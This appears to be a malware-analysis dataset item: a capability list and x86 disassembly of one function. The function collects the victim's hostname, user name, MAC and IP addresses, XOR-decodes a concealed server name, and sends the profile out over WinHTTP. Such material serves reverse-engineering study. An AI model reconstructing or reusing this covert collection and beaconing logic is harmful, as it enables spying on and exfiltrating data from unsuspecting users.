Function at 0x4011d0
Capabilities:
Encode data using xor
Get mac address on windows
Get networking parameters
Get session user name
Initialize winhttp library
Prepare http request

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x75f4
call fcn.004026d0
mov eax, dword [0x405004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x739c
lea eax, [ebp - 0x75b4]
mov dword [ebp - 0x75cc], 0
push 0
push eax
mov dword [ebp - 0x75d8], 0
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x75bc], 0x104
lea eax, [ebp - 0x75d4]
push eax
push 0x20019
push 0
push 0x4031e8
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401258
push dword [ebp - 0x75d4]
mov dword [ebp - 0x75b8], 1
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x401262
mov dword [ebp - 0x75b8], 0
lea eax, [ebp - 0x75bc]
push eax
lea eax, [ebp - 0x751c]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov edi, dword [sym.imp.IPHLPAPI.DLL_GetNetworkParams]
lea eax, [ebp - 0x75cc]
push eax
push 0
call edi
test eax, eax
je 0x4012b1
cmp eax, 0x6f
je 0x4012b1
push eax
push str.GetNetworkParams_sizing_failed_with_error__d_n
call fcn.00401150
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401a39
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x75cc]
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push 0x40
call ebx
mov esi, eax
test esi, esi
jne 0x4012d6
push str.Memory_allocation_error_n
call fcn.00401150
jmp 0x401808
lea eax, [ebp - 0x75cc]
push eax
push esi
call edi
test eax, eax
jne 0x40180b
push esi
lea eax, [ebp - 0x75a0]
push 0x84
push eax
mov eax, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
mov dword [ebp - 0x75e4], eax
call eax
mov esi, dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
lea eax, [ebp - 0x75d0]
add esp, 0xc
mov dword [ebp - 0x75d0], 0
push eax
push 0
call esi
test eax, eax
je 0x40132d
cmp eax, 0x6f
jne 0x40180b
push dword [ebp - 0x75d0]
push 0x40
call ebx
mov edi, eax
mov dword [ebp - 0x75dc], edi
test edi, edi
je 0x40180b
lea eax, [ebp - 0x75d0]
push eax
push edi
call esi
test eax, eax
jne 0x40180b
mov eax, dword [sym.imp.VCRUNTIME140.dll_strstr]
lea ebx, [ebp - 0x7418]
mov dword [ebp - 0x75e8], eax
xor eax, eax
mov dword [ebp - 0x75e0], ebx
test eax, eax
je 0x40138d
push 0x403289
lea eax, [ebx - 0x188]
push 1
push eax
call dword [ebp - 0x75e4]
add esp, 0xc
lea esi, [edi + 0x10c]
push 0x40328c
push esi
call dword [ebp - 0x75e8]
mov edi, dword [ebp - 0x75e4]
add esp, 8
test eax, eax
je 0x4013bc
push 0x40328c
push 0x84
push ebx
call edi
add esp, 0xc
push str.Ethernet
push esi
call dword [ebp - 0x75e8]
add esp, 8
test eax, eax
je 0x4013df
push str.Ethernet
push 0x84
push ebx
call edi
add esp, 0xc
push str.Wi_Fi
push esi
call dword [ebp - 0x75e8]
add esp, 8
test eax, eax
je 0x401402
push str.Wi_Fi
push 0x84
push ebx
call edi
add esp, 0xc
mov eax, dword [ebp - 0x75dc]
xor edi, edi
xor esi, esi
mov eax, dword [eax + 0x190]
test eax, eax
je 0x40148b
lea edx, [ebx + 0x8c]
lea ecx, [ebx + 0x84]
mov dword [ebp - 0x75f0], edx
mov dword [ebp - 0x75ec], ecx
nop
mov ecx, dword [ebp - 0x75dc]
dec eax
mov edx, str._.2X_n
mov cl, byte [ecx + esi + 0x194]
mov bl, cl
cmp esi, eax
je 0x40144e
mov edx, str._.2X_
movzx eax, cl
mov ecx, dword [ebp - 0x75ec]
push eax
mov eax, dword [ebp - 0x75f0]
push edx
add eax, edi
mov byte [ecx], bl
push eax
call fcn.00401190
inc dword [ebp - 0x75ec]
add edi, eax
mov eax, dword [ebp - 0x75dc]
inc esi
add esp, 0xc
mov eax, dword [eax + 0x190]
cmp esi, eax
jb 0x401430
mov ebx, dword [ebp - 0x75e0]
mov edi, dword [ebp - 0x75dc]
lea esi, [edi + 0x1ac]
test esi, esi
je 0x4014f9
nop dword [eax + eax]
lea eax, [esi + 4]
mov edx, str.0.0.0.0
mov ecx, eax
nop word [eax + eax]
mov bl, byte [ecx]
cmp bl, byte [edx]
jne 0x4014d0
test bl, bl
je 0x4014cc
mov bl, byte [ecx + 1]
cmp bl, byte [edx + 1]
jne 0x4014d0
add ecx, 2
add edx, 2
test bl, bl
jne 0x4014b0
xor ecx, ecx
jmp 0x4014d5
sbb ecx, ecx
or ecx, 1
mov ebx, dword [ebp - 0x75e0]
test ecx, ecx
je 0x4014f3
mov edx, ebx
sub edx, eax
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [eax + edx + 0x9d], cl
test cl, cl
jne 0x4014e3
mov esi, dword [esi]
test esi, esi
jne 0x4014a0
mov eax, dword [ebp - 0x75d8]
add ebx, 0x250
mov edi, dword [edi]
inc eax
mov dword [ebp - 0x75dc], edi
mov dword [ebp - 0x75d8], eax
mov dword [ebp - 0x75e0], ebx
test edi, edi
jne 0x401372
push 0x100000
push edi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
mov dword [ebp - 0x75d8], edi
test edi, edi
je 0x40180b
xor ebx, ebx
nop word [eax + eax]
imul ecx, ebx, 0x250
lea eax, [ebp - 0x737a]
add eax, ecx
push eax
lea eax, [ebp - 0x738c]
add eax, ecx
push eax
lea eax, [ebp - 0x751c]
add eax, ecx
push eax
lea eax, [ebp - 0x7418]
add eax, ecx
test ebx, ebx
je 0x4015b6
mov dword [ebp + ecx - 0x75b8], 0
push dword [ebp + ecx - 0x75b8]
mov byte [ebp + ecx - 0x751c], 0
push eax
lea eax, [ebp - 0x218]
mov byte [ebp + ecx - 0x75a0], 0
push str.__s____MOUSE_:_d__username_:_s__mac_:_s__ip_:_s
push eax
call fcn.00401190
add esp, 0x1c
jmp 0x4015d9
push dword [ebp + ecx - 0x75b8]
push eax
lea eax, [ebp - 0x75a0]
push eax
lea eax, [ebp - 0x218]
push str._hostname_:_s___s____MOUSE_:_d__username_:_s__mac_:_s__ip_:_s
push eax
call fcn.00401190
add esp, 0x20
lea edx, [ebp - 0x218]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x4015e1
sub edx, esi
dec edi
nop dword [eax + eax]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4015f0
mov ecx, edx
inc ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp - 0x75d8]
cmp ebx, 0xa
jl 0x401550
mov ebx, edi
lea edi, [ebx - 1]
nop dword [eax + eax]
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x401620
mov ax, word [0x403334]
mov word [edi], ax
lea eax, [ebp - 0x75c8]
push eax
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
add esp, 4
lea eax, [ebp - 0x75c8]
push eax
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64]
add esp, 4
push eax
push str._Y__m__d__H:_M:_S
lea eax, [ebp - 0x18]
push 0x14
push eax
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
add esp, 0x10
mov ecx, ebx
call section..text
mov edx, ebx
sub edx, eax
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [eax + edx - 1], cl
test cl, cl
jne 0x401673
mov esi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push 0
push 0xffffffffffffffff
push ebx
push 0
push 0xfde9
call esi
mov dword [ebp - 0x75d8], eax
xor ecx, ecx
add eax, eax
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, eax
add esp, 4
test edi, edi
je 0x40180b
push dword [ebp - 0x75d8]
push edi
push 0xffffffffffffffff
push ebx
push 0
push 0xfde9
call esi
push 0x7d0
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov esi, eax
add esp, 4
mov dword [0x405380], esi
test esi, esi
je 0x40180b
push 0x7d0
push 0
push esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor ecx, ecx
nop word [eax + eax]
mov ax, word [ecx + str.662462]
xor ax, 5
mov word [esi + ecx], ax
add ecx, 2
cmp ecx, 0x16
jb 0x401710
push 0
push 0
push 0
push 0
push str.WinHTTP_Example_1.0
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov esi, eax
test esi, esi
je 0x4017e6
push 0
push 0x50
push dword [0x405380]
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov dword [ebp - 0x75d8], eax
test eax, eax
je 0x4017c9
push 0
push 0
push 0
push 0
push edi
push 0x40338c
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
test eax, eax
je 0x4017a0
push 0
push 0
push 0
push 0
push 0
push 0
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
push dword [ebp - 0x75d8]
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
jmp 0x4017fa
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x403394
call fcn.00401150
add esp, 8
push dword [ebp - 0x75d8]
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
jmp 0x4017fa
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x403394
call fcn.00401150
add esp, 8
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
jmp 0x4017fa
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x403394
call fcn.00401150
add esp, 8
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401a39
mov esp, ebp
pop ebp
ret